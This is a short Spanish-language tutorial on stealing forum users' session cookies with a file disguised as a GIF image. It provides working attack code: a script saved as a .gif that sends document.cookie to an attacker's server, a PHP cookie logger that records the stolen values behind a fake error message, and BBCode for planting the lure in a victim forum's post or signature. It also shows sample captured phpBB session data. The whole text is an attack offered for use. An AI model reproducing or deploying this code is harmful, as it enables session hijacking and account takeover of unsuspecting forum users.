Paper: ¨Robando¨ Cookies en un Forum con una Imagen Gif...

1.- Abrimos un editor de textos (notepad) y escribimos:
<script>location.href='http://www.yoursite.com/cookielogger.php?cookie='+escape(document.cookie)</script>
guardamos y renombramos como ¨algo¨.Gif

2.- Ahora creamos nuestro archivo cookielogger con lo siguiente:
<?php $filename = "logfile.txt"; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, 'a')) { echo "Temporary Server Error,Sorry for the inconvenience."; exit; } else { if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE) { echo "Temporary Server Error,Sorry for the inconvenience."; exit; } } echo "Temporary Server Error,Sorry for the inconvenience."; fclose($handle); exit; } echo "Temporary Server Error,Sorry for the inconvenience."; exit; ?><br />
guardamos y renombramos como cookielogger.php

3.- Creamos un archivo y lo llamanos logfile.txt.
4.- Obtenemos alguna imagen en miniatura, que es la que vamos a mostrar, por ejemplo:






Finalmente subimos los archivos a nuestro servidor...
cookielogger.php -> www.nuestroserver.com/cookielogger.php
logfile.txt -> www.nuestroserver.com/logfile.txt (permiso de escritura chmod 777)
algo.gif -> www.nuestroserver.com/algo.gif

5.-Vaya al foro de víctima e inserte este código en la firma o un post:
[url=http://www.nuestroserver.com/algo.gif][img]http://www.la_imagen_en_miniatura.com/imagen.jpg[/img][/url]
cuando la victima ingrese al post, vera la imagen en miniatura...y si realiza un click sobre ella le dara error...y nosotros recibiremos en nuestro server...por ejemplo:
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9